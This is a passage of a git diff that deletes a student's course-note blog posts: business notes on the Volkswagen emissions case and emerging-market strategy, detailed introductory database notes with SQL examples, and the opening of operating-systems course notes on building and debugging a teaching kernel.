possible or setup local plant. - -### Hard NOx (Dirty Money Documentary, Episode 1 Season 1) - -[Watch at home before coming to class] - -Uncovered in 2015 -Open road emissions were 35x government testing facility (environment protection agency) -Defeat devices reduced effectiveness of emissions control system when on the open road. -2009-2015. -Issued notice September 18 2015. -Lawsuits on every country. 32B in total. - -Nitrogen oxide emissions. -60 premature deaths. - -Started by Hitler. Counter culture. -New CEO wanted to expand diesel sales from 2007 in the USA. Strategy 2018 - -Portrayed itself as a company of ethical culture , good corporate governance effective risk management and strong sustainability commitment - -Diesel is more efficient and less CO2 but produces NOx which harms lungs. - -Martin Wintercorn - -Cars so good people wanted to see how to share this tech to other companies. -John German -ICCT - -JRC -2011-2012 report on EU diesel vehicles. - -2013 test Volkswagen clean. First in lab then on road. Car geeks university of Virginia . - -## Emerging Markets - -[The New Mission for Multinationals (MIT, 2015)](https://ocul-wlu.primo.exlibrisgroup.com/permalink/01OCUL_WLU/s6kavd/cdi_webofscience_primary_000356638700008) - -- foreignness into a virtue. For example, Coca-Cola, Levi Strauss and Disney can continue to sell a piece of American life-style, Prada can continue to clothe its foreign customers in Italian fashion sense -- home team advantages - - deep customer and end-user engagement - - partnering with local suppliers - - fostering development of local talent pool -- acquire a local company and maintain links -- enter the market early - -[The new frontiers (Harvard Business Review, July-August 2009)](https://ocul-wlu.primo.exlibrisgroup.com/permalink/01OCUL_WLU/s6kavd/cdi_gale_businessinsightsgauss_A203890792) - -- China acquire more than 1,000 swedish businesses -- top investor economies in Africa - - France, Netherlands, United States, UK - -[New business models in emerging markets (Harvard Business Review, January-February 2011)](https://ocul-wlu.primo.exlibrisgroup.com/permalink/01OCUL_WLU/s6kavd/cdi_proquest_miscellaneous_822411470) - -### Case: GENICON - A Surgical Strike into Emerging Markets - -- manufactured and distributed medical devices used in laparoscopic surgery - - examine, diagnose and treat problems within the abdomen - - specialized surgical instruments are inserted through a number of small incisions - - hospitals favoured less expensive reusable and/or reprocessed devices instead of premium-priced disposable - - approx. half of surgeries performed in the U.S.A - - MEDICA tradeshow in German was very helpful - - 30 companies, tender was a license to sell, not a sale -- January 2010 -- international distribution strategy -- companies received contracts through Group purchasing organizations (GPOs) in the USA - - favoured largest companies, like Ethicon and Covidien, subsidiaries of Johnson & Johnson and Tyco respectively: -- Promising countries: India, China, Brazil, Russia - - India - - $2.35B medical device market - - 11.3% growth - - GDP 1,106B - - China - - $12.6B medical devices with double digit growth; $20.6B by 2012 - - downwards pressure on price - - Brazil: there were no import duties or value-added taxes on 42 medical devices. - - $3B medical devices - - Russia: $39.4B healthcare expenditure, $2B medical device sector - - requires local distributor or Russian subsidiary - -1. Evaluate the potential of each market from a quantitative and qualitative standpoint. -Which factors are most important in your decision? - -How big the market is. How profitable the market is. How easily accessible the market is; barriers to entry. - -2. What country is the best fit for Genicon? - -Brazil because there won't be downward price pressures and market is second largest of the four countries and there -are low barriers to exporting to Brazil. - -[Reading: Reaching the rich world's poorest consumers (Harvard Business Review, September 2015)](https://ocul-wlu.primo.exlibrisgroup.com/permalink/01OCUL_WLU/s6kavd/cdi_proquest_miscellaneous_1654710069) - -- Five leading companies have adapted nonprofit business models to serve the bottom of the pyramid in France -- Social businesses - - First, it seeks to alleviate social problems, including all forms of poverty. - - Second, it must be run sustainably—that is, it should not lose money. - - Third, profits—when they exist—are reinvested in the business rather than funneled back to shareholders - -[Reading: Is the bottom of the pyramid really for you? (Harvard Business Review, March 2011)](https://ocul-wlu.primo.exlibrisgroup.com/permalink/01OCUL_WLU/s6kavd/cdi_gale_infotracmisc_A251184659) - -[Case: Danimal in South Africa - Management Innovation at the Bottom of the Pyramid](https://www.thecasesolutions.com/danimal-in-south-africa-management-innovation-at-the-bottom-of-the-pyramid-3172) - -- South African dairy industry -- innovative product yogurt, Danimal - - introduced to evaluate the possibility of profitably serve this market - - creating brand awareness in the market at the base of the pyramid -- micro-distributors, referred Danimamas: women that were the villagers, unemployed or underemployed persons -- not a sustainable business model in terms of current profitability -- The girl involved was really pro-Africa and wanted to know if it would work -- long-term opportunity -- started working on it in 2003 and it's now 2011 -- Change in senior leadership could ruin everything -- R&D in the bottom of pyramid countries -- lot of work done in country level to develop products that suit that particular country -- yogurt was picked because there was excess capacity -- joining other companies & NGOs - - build on women - - cash was an issue - - can tell employees who care and who don't care - - no second chance -- Support initiatives to remove barriers - - tough to hold someone accountable for cash - - digital transactions were introduced to have more control and oversight -- First create was free -- - -### 12 Principles of Base of Pyramids - -Applying to the case - -1. Price/Performance - - 1 RADD - - sold directly -2. Innovation requires hybrid solutions - -taget children - - build on plant - - diston -3. Solutions must be scalable + trnsferable across countries / cultures -4. Innovations must focus on cornering resources -5. -6. -7. -8. -9. Product must work in hostile environment -10. Research and interfaces is critical - - recon was done on how many friges there were. Where were the schools, banks, stores - - someone from south america had done it - - learn what the infrastructure of the country -11. innovation must reach the consumer -12. productionn innovators must focus on platform so new features can be incorporated diff --git a/content/posts/university/cs-348-intro-to-database-management.md b/content/posts/university/cs-348-intro-to-database-management.md deleted file mode 100644 index 3da39d7be..000000000 --- a/content/posts/university/cs-348-intro-to-database-management.md +++ /dev/null @@ -1,1134 +0,0 @@ ---- -title: "CS 348 Intro to Database Management" -date: 2023-01-10T16:02:06-05:00 -draft: false -tags: - - university - - computer-science -summary: "An overview of key concepts from an introductory database management course, covering relational models, SQL, schema refinement, transactions, indexing, data analytics, and NoSQL systems." ---- - -{{< toc >}} - -## Objectives - -### Viewpoints - -- database user -- database designer -- database manager - -### Sub-objectives - -- SQL -- data modeling -- management -- database management system (DBMS) -- Relational model -- Application programming -- Transaction and concurrency - -## File-Processing Systems - -### Disadvantages with File-Processing Systems - -- Data redundancy and inconsistency - - various copies leads to higher storage -- Difficulty in accessing or modifying data -- Integritty problems - - New constraints require changing the program -- Atomicity problem - - Difficult to ensure atomic property and to restore state after failure -- Concurrency issues -- Security - -## Databases - -### Database Definition - -> A large and persistent collection of (more-or-less similar) pieces of -information organized in a way that facilitates efficient retrieval and -modification. - -### Database Management System (DBMS) - -> A program (or set of programs) that manages details related to storage and -access for a database. - -- Data model -- Access control -- Concurrency control -- Database recovery - -### Scheme Definition - -> A schema is a description of the data interface to the database - -### Database Instance Definition - -> A database instance is a database (real data) that conforms to a given schema -) i.e., the information stored in the database at a particular moment - -### Levels - -- Physical -- Virtual -- External - -## The Relational Model - -A database is a collection of relations (tables). Each relation -has a set of attributes (columns). Each attribute has a name and an atomic (indivisible) domain (type). Each relation has a set of tuples (rows). -Duplicate tuples are not allowed. Two tuples are duplicates if all their attributes agree. - -### Data Model - -- structure -- operations -- constraints - -### Schema and Instance - -```schema -author(aid:int, name:string) -publication(pubid:int, title:string) -journal(pubid, volume) -``` - -A database can be displayed tabularly with a table for each relation.1 - -### Integrity Constraints - -Tuple-Level - -- Domain restrictions (e.g. type string) -- Value restriction: only allow subset of values (e.g. `["Winter", "Summer", "Fall"]`) - -Relation-level - -- Superkey: attributes where tuples will never agree on -- Candidate key: minimal superkey (minimal set of attributes that unique identify the tuple) -- Primary key: designated candidate key - -Database-level - -- Foreign key: an attribute of this relation is the primary key for another relation (Relation one is _referencing_ and the second relation is _referenced_ ) -- Foreign key constraints: Foreign key must match the primary key value of a tuple in the `referenced` relation -- Referential integrity constraints: foreign key cannot be a primary key in the referencing relation - -## The Relational Algebra - -Consists of a set of operators - -### Operators - -- one or two relations as inputs -- single output relation in terms of the input relation(s) -- can be composed to express the definition of a new relation in terms of existing relations - -### Selection - -subset of tuples of a relation and thus schema is the same - -- Find teachers who are in the physics department -- conditions include any column of R, comparisons, boolean algebra -- select applies to single row at a time, not many - -### Projection - -- Returns a subset of a relation but only of the specified attributes -- Duplicates are eliminated - -### Cross Product - -- Result has attributes of both input relations -- Result is the tuple for each possible pair from relation one and relation two - -### Conditional Join - -- Perform cross product but join pairs only if the boolean involving attributes from both relations is true - -### Natural Join - -If both relations have the same attribute, then the join will only filter out -tuples that don't have those attributes matching. During the first cross product, duplicate attributes are renamed (e.g. ID, ID → ID, ID_1) but at the end the duplicated attributes are thrown out. - -### Set-Based Relational Operators - -- Union: Same number of fields and corresponding fields have the same type -- Difference: Returns stuff in first relation not present in second -- Intersection: Return stuff in both rrelations -- Division: Attributes of second relation must be a subset of the first. Inverse of product. Useful for all. Example (which tuples of X always references Y but returns a new tuple without the attributes in Y). - -### Summary of Relational Operators - -![summary of relational operators](/images/cs-348/relation-operators.webp) - -### Finding the maximums of a relation - -To do this, we find all values in the relation that are smaller than values in itself. -Now that we have all the smaller values, we just need to remove them from the original table. -We are left with values equal to the maximum. - -project val (T) - project t1.val (T t1 join T t2 if t1.val < t2.val) - -### Algebraic Equivalences - -### Relational Completeness - -### The Relational Calculus - -## SQL - Structured Query Language - -KEYWORD (statements is implied) - -- SQL Data Manipulation Language (DML) - - SELECT for queries - - INSERT, UPDATE, DELETE modify the instance of a table -- SQL Data Definition Language (DDL) - - CREATE, DROP modify the database schema -- SQL Data Control Language (DCL) - - GRANT, REVOKE enforce the security model - -### Schema Used for Examples - -![database schema](/images/cs-348/database-examples-schema.webp) - -[SQL interpreter](https://www.db-book.com/university-lab-dir/sqljs.html) - -### Data Types - -- integer or int (32 bit or 4 byte) -- smallint (16 bit or 2 bytes) -- numeric(p, q): p digit numbers with q digits to the right -- real, double precision: -- float(n): user-specified precision of at least n digits -- char(n): fixed length character strings (n is length) -- varchar(n): variable length character to a max length of n -- date: describes year, month, day -- time: describes an hour, minute, second -- timestamp: describes a date and time -- interval: allows date/time computations - -### Tables - -```sql -create table r - (A1 D1, ..., An, Dn), - (integrity-constraint-1), - ... - (integrity-constraint-k), -``` - -r: relation, A: attribute, D: data type - -integrity-contraints: - -```sql -primary key (A1, ..., An ) -foreign key (Am, ..., An ) references r2 -``` - -### Queries - -SQL allows duplicate tuples in relations as well as in query results. need to use -the `distinct` keyword after select. - -```sql -SELECT [distinct] dept_name, salary from instructor -``` - -\[OPTIONAL] - -To return all attributes, use an asterisk (*) - -#### Arithmetic Expressions - -You can operate on the data through the select call itself. For example, if we wanted the monthly salary instead of an annual one: - -```sql -select ID, name, salary/12 as monthly_salary from instructor -``` - -#### Filtering (Where) - -```sql -select name from instructor where dept_name = ’Comp. Sci.’ -``` - -- logical connectives: and, or, and not -- comparison operations: <, <=, >, >=, =, and <> (inequality) -- comparisons can be applied to results of arithmetic expressions - -#### Select Cross Product - -Performs Cross product by specifying multiple relations - -```sql -select * from instructor, teaches -``` - -Use where to join and remove duplicate attributes. - -```sql -select * from instructor, teaches where (instructor.ID = teaches.ID and instructord.dept_name = 'Comp. Sci' and year = 2017) -``` - -#### FROM Inner Join - -```sql -... from instructor inner join teaches on instructor.ID = teaches.ID... -``` - -If attributes have the same name, then both will show up with a `relation.` prefix - -#### FROM Natural Join Clause - -```sql -select * from instructor natural join teaches -``` - -Be careful since this does it to all attributes. For specific attributes, -use `using` - -```sql -select * from T join S using(A) -``` - -#### SELECT as - -Renaming the attribute in the query result - -```sql -select T.ID, T.name from instructor as T, instructor as S where T.salary > S.salary and S.ID = '12121' -``` - -#### String Operations - -- '5"6' (allows double quotes) -- 'Datebase' = 'database' (false) -- DBMS might not differentitae (MYSQL) -- concat -- to upper or to lower -- string length, extracting substrings, etc. - -#### WHERE like - -- %: match any substring -- _: match any charater (one) -- escape using `escape '%'` or `escape '_'` - -```sql -WHERE attribute like '%pattern%' -``` - -#### ORDER - -```sql -select name from instructor order by name asc -- default is asc -select name from instructor order by dept_name, name desc -``` - -#### Union - -```sql -select course_id -from section -where semester=’Fall’ and year=2017 -union -select course_id -from section -where semester=’Spring’ and year=2018 - --- union all - -select course_id -from section -where semester=’Fall’ and year=2017 -union all -select course_id -from section -where semester=’Spring’ and year=2018 -``` - -#### Aggregate Pt. 1 - -- avg: average value -- min: minimum value -- max: maximum value -- sum: sum of values -- count: number of values - - count (*) to count number of tuples -Usage `SELECT count(attribute), ...` - -Group by: group tuples into another attribute. - -```sql -select dept_name, avg(salary) from instructor group by dept_name having avg(salary) > 25000 -``` - - The having condition applies on each group and not on the aggregation. The having applies before the select returns but after the grouping. - -Null: null indicates unknown or missing data. - -Comparing null with anything else always results in unknown even with null. - -Unknown always takes precedence. - -Use `is null` for a null comparison - -### Subqueries - -Use ( ) to use a temorary relation - -#### Table Subqueries - -```sql -select dept_name, avg_salary -from ( - select dept_name, avg(salary) as avg_salary from instructor group by dept_name -) where avg_salary > 42000 -``` - -```sql -select max (tot_salary) from ( - select dept_name, sum(salary) as tot_salary from instructor group by dept_name -) -``` - -#### Scalar Subqueries - -A query that returns a single tuple. - -```sql -select name from instructor where salary > - (select avg(salary) from instructor) -``` - -#### Set Membership - -Subquery can also be a hardcoded set - -```sql -x in (subquery) /* intersect */ -x not in (subquery) /* except */ -select distinct name from instructor where name in (’Mozart’, ’Einstein’) -select distinct name from instructor where name not in (’Mozart’, ’Einstein’) -``` - -<> means not equal - -#### All Clause - -```sql -select name from instructor where salary > - all (select salary from instructor where dept_name = 'Comp. Sci.') -``` - -#### Some (at least one) Clause - -```sql -select name from instructor where salary > - some (select salary from instructor where dept_name = 'Comp. Sci.') -``` - -#### Exists Clause - -Can also use not exists - -```sql -select course_id from section as S where semester = 'Fall' and year = 2017 and - exists (select * from section as T where semester = 'Spring' and year= 2018 - and S.course_id = T.course_id) -``` - -#### Test Non-Empty Relations - -Triple query. - -Assert inner query is non-empty (not exists) where inner query does a search based on condition 1 which also asserts it satisfies condition 2 which could be another query. - -Find all students who have taken all courses offered in the Biology department. - -return student if for all biology courses available student has taken that course. → return students where the following relation is empty (all bio courses except the ones the student has taken) - -#### Unique - -Returns true if subquery contains no duplicates (one find). Add `not` before `unique` for "at least twice" - -
-find all courses that were offered at most once in 2017 - -For all courses, find unique instances where the course was offered in 2017 - -```sql -select * from course as T where unique - (select * from course as R where T.course_id = R.course_id and R.year = 2017) -``` - -
- -#### Correlated Subqueries - -For each tuple obtained from the outer query, compute the -inner query. Need to use the `lateral` prefix to do so. - -```sql -select name, salary, (select avg(salary) - from instructor where dept_name = S.dept_name) as dept_avg - from instructor as S - -select name, salary, dept_avg from instructor T, - lateral (select avg(salary) as dept_avg from instructor S - where T.dept_name = S.dept_name) -``` - -#### With Clause - -with temp_relation (list_of_attributes) as (subquery) - -Find all departments where the total salary is greater than the -average of the total salary at all departments - -```sql -with dept_total (dept_name, value) as (select dept_name, sum(salary) - from instructor group by dept_name), - dept_total_avg (value) as (select avg(value) from dept_total) - -select dept_name from dept_total, dept_total_avg - where dept_total.value > dept_total_avg.value -``` - -### Data Modifications - -```sql -alter table r add attribute data_typ -``` - -Existing tuples in `r` will have `null` as the value for the new attribute - -```sql -alter table r drop A -``` - -- Not supported on many databases like `SQLite` - -```sql -alter table r rename column old_name to new_name -``` - -```sql -alter table r modify A data_typ -``` - -#### Deleting a Table - -```sql -drop table instructor -``` - -#### Removing from Table - -Remove all: - -```sql -delete from instructor -``` - -```sql -delete from instructor where dept_name= ’Finance’ -``` - -
Delete instructors who earn less than the average - -```sql -delete from instructor where salary < (select avg(salary) from instructor) -``` - -
- -
- -#### Insertion - -```sql -insert into course values (’CS-437’, ’Database Systems’, ’Comp. Sci.’, 4) - -insert into course (course_id, title, dept_name, credits) values (’CS-437’, ’Database Systems’, ’Comp. Sci.’, 4) - -insert into student values (’3003’, ’Green’, ’Finance’, null) -insert into student values (’3003’, ’Green’, ’Finance’) /* omitted values will be null */ -``` - -Inserting into new table from another based on some condition. Note that without -a primary key on the student table, there would be a infinite tuples added. - -```sql -insert into instructor select ID, name, dept_name, 18000 from student - where dept_name = ’Music’ and total_cred > 144 -``` - -#### Updates - -```sql -update instructor set salary = salary * 1.05; - -update instructor set salary = salary * 1.05 where salary < 70000; - -update instructor set salary = salary * 1.05 where salary < (select avg (salary) from instructor); -``` - -Update instructor salaries based on how much they make (multiple queries): - -```sql -update instructor set salary = salary * 1.03 where salary > 100000; -update instructor set salary = salary * 1.05 where salary <= 100000; -/* alternative using case */ -update instructor set salary = case - when salary <= 100000 then salary * 1.05 - else salary * 1.03 - end -``` - -## SQL Intermediate Topics - -### Check Constraints - -```sql -create table department ( - ... - budget numeric (12,2) check (budget > 0), - ... -) -``` - -### Foreign Key Contraints - -```sql -create table instructor ( - ... - dept_name varchar(20) - ... - foreign key (dept_name) references department ) -``` - -### Deleting in Referenced Relation - -When creating a table, we can use the `references R on delete set null` - -Cascade: `on delete cascade` rows referencing key also get deleted - -### Views - -virtual table - -```sql -create view faculty as select ID, name, dept_name from instructor -``` - -We can use views to hide data - -#### Modifying Views - -```sql -create view instructor_info as select ID, name, building from instructor, department where instructor.dept_name = department.dept_name; --- insert into instructor_info values('69987', 'White', 'Taylor'); -- won't work -``` - -#### Updateable Views - -### Access Control - -#### Roles - -### Indexes - -- An index is an auxiliary persistent data structure - - Search tree (e.g., B+-tree), lookup table (e.g., hash table), etc - -```sql -create index ins_name_index on instructor (name); -create unique index ins_name_index on instructor (name); -drop index ins_name_index -``` - -Typically the index already exists on primary key and unique constraints. - -### SQL Relational Division - -Assumes `model` is distinct (primary key). If model was not distinct, you would have to add the distinct keyword in the subquery as well -as the ending count. - -```sql -SELECT maker FROM (SELECT maker, model FROM Product A join Printer B USING(model) WHERE color=True) group by maker HAVING COUNT(*) = (SELECT COUNT(*) FROM Printer WHERE color=true) -``` - -## SQL Drivers - -### Prepared Statements - -Compile once and reuse multiple times. Avoids SQL Injection. - -### Metadata Features - -## Functions and Procedures - -```sql -create function func_name(param_decls) -returns return_type -create procedure proc_name(param_decls) -call proc_name(params) -set variable = call func_name(params) -``` - -Procedures do not have return values, rather they use out parameters. Additionally, parameters can modify whereas functions are read only. Procedures can call other procedures and functions but functions cannot call functions nor procedures. You can use functions as if they are tables/views but - -## Triggers - -Event-Condition-Action - -```sql -create trigger timeslot_check after insert on section -referencing new row as nrow -for each row -/*time_slot_id not present in time_slot */ -when (nrow.time_slot_id not in (select time_slot_id from time_slot)) -begin - rollback -end; -``` - -- Can be before or after -- For each statement is also possible but only applies to after triggers - - Useful for SQL statements that update a larger number of rows - -## Ranking - -```sql -select ID, rank() over (order by (GPA) desc) as s_rank from student_grade order by s_rank; - -select ID, dept_name, rank() over (partition by dept_name order by (GPA) desc) as dept_rank from student_grade order by dept_name, dept_rank; -``` - -## Windowing (Moving) - -```sql -select year, avg(num_credits) over (order by year rows 2 preceding) as avg_total_credits from tot_credits; -``` - -```sql -select year, avg(num_credits) over (order by year rows unbounded preceding) as avg_total_credits from tot_credits; -``` - -```sql -select dept_name, year, avg(num_credits) over (partition by dept_name order by year rows between 2 preceding and current row) as avg_total_credits from tot_credits_depth; -``` - -## Pivoting - -- a cross-tabulation view of tables - -## Rollup and Cube - -- multidimensional data aggregation - -## Recursion - -```sql -with recursive rec_prereq(course_id, prereq_id) as (select course_id, prereq_id from prereq union select rec_prereq.course_id, prereq.prereq_id from rec_prereq, prereq where rec_prereq.prereq_id = prereq.course_id) select * from rec_prereq; -``` - -## Entity-Relationship Model - -### Database Design - -- Use draw.io - -#### Understand the real-world domain being modeled - -- E-R model - -#### Translate the specification to the data model of DBMS - -- The relational model - -### Complex Attributes - -- Primary key: underlined -- Composite attributes can be shown by indenting the individual attributes that make it up (nestable) -- Use brackets for multi-valued attributes -- Use ( ) suffix to state that the attribute is derived - -### Mapping Cardinality - -#### Participation - -Use a double line to show that all values are participating and use single line for partial participation. - -### Primary Keys in E-R Model - -![Primary Keys for Relationship Sets](/images/cs-348/keys_for_er_sets) - -#### Weak Entity Sets - -A weak entity set is one whose existence is dependent on another entity, -called its identifying entity. An entity set that is not a weak entity set is -termed a strong entity set. - -### Removing Redundant Attributes in Entity Sets - -- identifying entity sets -- adding attributes to entity sets -- forming the relationship sets among the various entity sets - -### Specialization - -#### Overlapping Specialization - -Use separate arrows - -#### Disjoint Specialization - -One arrow from multiple tables - -#### Completeness Constraints - -Total specialization: Each entity in the higher-level entity set must be present in at least one lower-level entity set. Requires annotating an arrow. - -Partial specialization (default): Membership of a lower-level entity set is not required - -### Common Mistakes - -- use of primary key of an entity set as an **attribute** of another entity set instead of using a relatioship -- - -## E-R Diagram to Relational Tables - -- Each entity set maps to a new table -- Each relationship set maps to a new table -- Each simple and single-valued attribute maps to a new column - -## Schema Refinement: Dependencies - -### Example - -Similar to a question in assignment 2 - -See [slides](https://learn.uwaterloo.ca/d2l/le/content/868878/viewContent/4839309/View) - -### Single-Table Schema - -- update problems (how to update values of a single column) -- insert problems (adding new subset of tuple) -- delete problems -- likely increases space requirements - -### Too many Tables - -If there are too many tables, the information of relationships is lost - -### Functional Dependencies: Armstrong's Axioms - -Two ways, first is armstrong's axioms - -#### Reflexivity - -SIN, EName → EName - -#### Augmentation - -If X is a subset of Y, then X → Y. - -SIN, Z → EName, Z - -#### Transitivity - -X → Y, Y → Z => X → Z - -#### Union Rule - -X → Y, X → Z => X => YZ - -#### Decomposition - -X → YZ => X → Y, X → Z - -### Function Dependencies: Attribute Closure - -https://littleflowercollege.edu.in/upload/e_contents/files/187d8c7967172ef5cc75d9b2a709d6cf.pdf ? - -### Schema Decomposition - -#### Lossless Decomposition - -A decomposition {R1, R2} of R is lossless if and only if the common attributes -of R1 and R2 form a superkey for either schema, that is - -#### Dependency-preserving Decompositions - -If we have functional dependencies, we should be able to still prove those dependencies valid without having to join. - -#### Boyce-Codd Normal Form (BCNF) Decomposition - -> Informally, a relation schema R is in BCNF if and only if -any group of attributes in R that functionally determines -any other attributes in R functionally determines all attributes in R , -i.e., that group of attributes is a superkey of R - -Algorithm: - -- Find a BCNF violation -- Decompose the relation into two relations, one being the premise + consequence, the other being premise + attributes not determined - -#### Third Normal Form (3NF) - -Minimal cover: - -1. Every RHS of a dependency in F is a single attribute -2. There does not exist an FD X → A in F such that the set F - {X → A} = F. (no redundant FD) -3. There are no redundant attributes in the LHS set of a FD in F - -## Transactions - -### Transaction - -A transaction i consists of r_i[x] and w_i[y] and c_i - -### Execution History - -A database is a shared resource that is accessed by many users and processes. -If data is accessed or modified concurrently, the information may be outdated or one of the modifications will be lost. - -Step 1: check if both transaction histories are over the same set of transactions - -Step 2: check if all conflicting pairs (reads and writes for same attribute from different transactions) are in the same order (< or >). - -### Serial Execution HIstories - -For a given transaction history, a transactions operations must be consecutive and operations from different transactions may not be interleaved. - -#### Serial History - -Example: - -T1, T2, T3 - -### SQL Isolation Levels - -## Indexing - -- Tables of a database are stored in blocks (containing multiple rows) on disks - - Caching is used (memory buffer pool, writing dirty blocks to disk) -- Sequential reads are faster than random reads -- Indexes can be used to reduce number of blocks read from possibly all to just a few to access a specific row -- Indexes can be used to speed up the access of a range of rows -- Primary keys are always indexed - -### Index Structure - -## Transaction Processing - -### Concurrency Control - Isolation - -- Pessimistic - assume conflicts will occur and prevent them - - Two-phase locking (2PL) - - Timestamp ordering -- Optimistic - assume that conflicts are rare and run transactions and fix problems that occur - -#### Locking - -Shared (read) locks and exclusive (write) locks. - -- a transaction that wants to read an object must acquire a shared lock (S mode) on that object -- a transaction that wants to modify an object must acquire an exclusive lock on that object -- object can be locked by multiple shared or only once as exclusive -- not enough for transactions that were meant to preserve a condition such as two objects being the same value - -### Two-Phase Locking - -In phase one, transaction obtain locks and do not release locks. The lock point is when the final lock has been obtained. -In phase two, transactions release locks and do not obtain locks. Two phase locking guarantees a conflict-serializable schedule. - -#### Cascading Aborts - -If a transaction has read uncommitted data read by a transaction that has aborted, it must abort itself. - -#### Deadlocks - -Gradual lock release? - -### Recovery - Atomicity and Durability - -#### Naïve Approaches - -- Force (writes must be reflected on disk when a transaction commits) -- No Steal (flush to disk only at commit) - -### Logging - -- Write to disk just before (WAL: write ahead logging) an object is modified - -```txt - - - or -``` - -#### Checkpointing - -Shortens the amount of log that need to be undone or redone -when a failure occurs - -1. Output onto stable storage all log records currently residing in main memory -2. Output to the disk all modified buffer blocks -3. Output onto stable storage a log record of the form \, where L is a list of transactions active at the time of the checkpoint - -## Data Analytics: Warehousing and Mining - -### Online Transactional Processing (OLTP) - -- simple queries -- many short transactions making small changes -- Systems tuned to maximize throughput of concurrent transactions - -### Data Analytics - -the processing of data to infer patterns, correlations, or -models for prediction. Used to make business decisions. - -1. Gather data - - Extraction-transform-load -2. Generate aggregates and reports summarizing data -3. Build predictive models - -### Data Warehouses - -#### Creating and Maintaining a Warehouse - -- Extract: queries -- Clean: delete or repair tuples -- Transform: reorg -- Load: populate the warehouse tables - -#### Warehouse Schemas - -- Fact tables -- Dimension tables: additional tables for each fact tables -- Measure attributes: value based -- Dimension attributes: relation based - -## Big Data - -Very large volumes of data being collected. Web logs were an early source of data. - -### MapReduce - -- Map - - User-defined functions - - Process input key/value pairs - - Intermediate key/value pairs -- Reduce - - User-defined functions - - Intermediate key/value as inputs - - Merges values for a key - -### Hadoop - -- Develoepd by Yahoo! -- Hadoop distributed file system (HDFS) - - Multiple data nodes - - Name nodes store list of block identifiers and machines that have a copy of the block - -### Apache Spark - -- Better for iterative computations -- Fault-tolerant and scalable - -#### Reliable Distributed Dataset (RDD) - -- Resilient: if data in memory is lost, recreate -- Distributed: stored in memory across cluster -- Dataset: from a file on HDFS or programmatic - -Lineage information retained to reconstruct lost data. Lineage is stored as an object and stored persistently. - -#### Caching - -#### Transformation and Action - -## NoSQL Systems - -Many new application do not require full machinery that relational DBMS's provide; more so web-based. - -- Specialized - - Column (BigTable) - - Key-value (DyanmoDB) - - document (MongoDB) - - graph (Neo4J) - - Graph DBMSs are transitioning from NoSQL systems to systems implemented -on top of RDBMSs -- Objectives - - Simplicity (schema-less) - - Scalability and performance - - Flexibility for the programmer - -### CAP Theorem - -Distributed data store, only 2 of 3 are ensured - -- Consistency - - All clients always have the same view of data -- Availability - - Each client can always read and write -- Partition tolerance - - System works well despite network partitions - -Example, two nodes can't communicate with each other, a write is done one node one and a read is done on node 2. What should node 2 do? Return inconsistent data or stay unavailable. - -NoSQL trades consistency for higher availability. - -- Database community value consistency (ACID) -- Distributed systems value uptime - -#### Strong vs. Eventual Consistency - -- Strong (ACID) - - All nodes hold the same values -- Eventual - - Nodes may hold different values but will catch up - -### Key-Value Stores - -Key = unique id, Value = text, binary data, structured data, etc. - -- Simple queries - - Put(key, value): inserts a (key, value) pair - - get(key): returns value associated with key - - get_range(key1, key2): { (key, value) } - -### Amazon DynamoDB - -- Data model (key, structured value) - - Simple queries on key and attributes - - key is hash or hash and range - -### MongoDB - -- JSON documents -- db.collection.function (JSON expression) - -### Google BigTable - -- Distributed, multi-dimensional, persistent, sparse, sorted map -- Data model: { row and column } -- Transactional atomicity only for single row update - -### Graph DBMSs - -- Many applications (Fraud detection, recommendation engines, AI knowledge gaps, social networks) - -#### Neo4J - -- Property graphs - - Vertices, edges, labels, and properties -- Linked list on disk diff --git a/content/posts/university/cs-350-operating-systems.md b/content/posts/university/cs-350-operating-systems.md deleted file mode 100644 index 7bd02aec4..000000000 --- a/content/posts/university/cs-350-operating-systems.md +++ /dev/null @@ -1,1729 +0,0 @@ ---- -title: "CS 350 Operating Systems" -date: 2023-01-10T14:56:10-05:00 -draft: false -tags: - - university - - computer-science -summary: "Notes and concepts from a university-level operating systems course, covering topics like processes, threads, concurrency, scheduling, virtual memory, I/O, file systems, and more." ---- - - - - -- [Course website](https://student.cs.uwaterloo.ca/~cs350/W23/reading.shtml) -- [Past midterms](https://student.cs.uwaterloo.ca/~cs350/common/old-exams/) - -{{< toc >}} - -## Concepts - -- Operating Systems -- Distributed Systems -- Networking -- Internet of Things -- Computer Architecture -- Embedded Systems -- Database Systems -- Systems and Machine Learning - -## Course Topics - -- Threads & Processes -- Concurrency & Synchronization -- Scheduling -- Virtual Memory -- I/O -- Disks, File systems, Network file systems -- Protection & Security -- Unix referenced as an example - -## Assignment Helpers - -### CS 350 CLI - -File hierarchy - -- cs350 (CWD) - - os161 - - userspace - - ASSTUSERX - - [cs350_cli.py](https://gist.github.com/elibroftw/36d18406d6be775e2c52af9d19571c42) - -### How to add to PATH - -In your `.bashrc`, add `PATH="$PATH:path"`. For some reason, my `.bashrc` file keeps getting wiped. - -```sh -PATH="$PATH:/u/cs350/sys161/bin:/u/cs350/bin" -``` - -### Finding stuff in the kernal code - -Since you may not have vscode open for the kernel but your entire linux environment, grep may be more efficient. - -```sh -grep -rnw . -e 'pattern' -``` - -This is the command assumes you are in the os161-X.YZ directory. - -### Setting up on a new Machine - -Works even if a custom directory is used for OS/161 - -```sh -# setup new machine -./cs350_cli.py configure -``` - -This will copy the sys161.conf file. You will need to edit the CPUs and memory line. I recommend editing one of the commented out lines to have 4 CPUs and 4MB of memory and another one to be 4 CPUs with 2MB of memory. - -### Building the kernel - -```sh -# configure new assignment (run once per assignment) -./cs350_cli.py new 1 -# build the kernel for an assignment -./cs350_cli.py build 1 -``` - -If you don't use the script I wrote, you can ~~do the following~~ read the source code or the course guide and figure out how to build the kernel manually. I'm purposely not providing the commands as I never used them after I wrote my script. - - - -### Running the kernel on a simulator - -```sh -# run the last built? kernel or the one you choose -./cs350_cli.py run [uint] -``` - -### Debugging - -```sh -# gdb requires you to run the following in two different terminals -./cs350_cli.py debug 2 -# second terminal. The everything before --breakpoints is mandatory -./cs350_cli.py debug attach 2 --breakpoints file.c:30 file2.c:50 -``` - -In the second terminal, either spam the enter key or enter c to continue code execution as GDB pauses program. - -```sh -(gdb) c -``` - -See [Debugging with GDB](http://www.student.cs.uwaterloo.ca/~cs350/common/gdb.html). - -### Working locally - -To work locally, you will need docker. - -### Submitting Assignments - -```sh -# submit and see grade later -./cs350_cli.py submit 0 -# internally calls: -# cs350_submit os161/os161-1.99/kern/compile/ASST0 ASST0 -# cs350_submit userspace/ASSTUSER0 ASSTUSER0 -./cs350_cli.py grade 0 -``` - -### Readelf - -You can use readelf to get metadata of a binary - -## Processes - 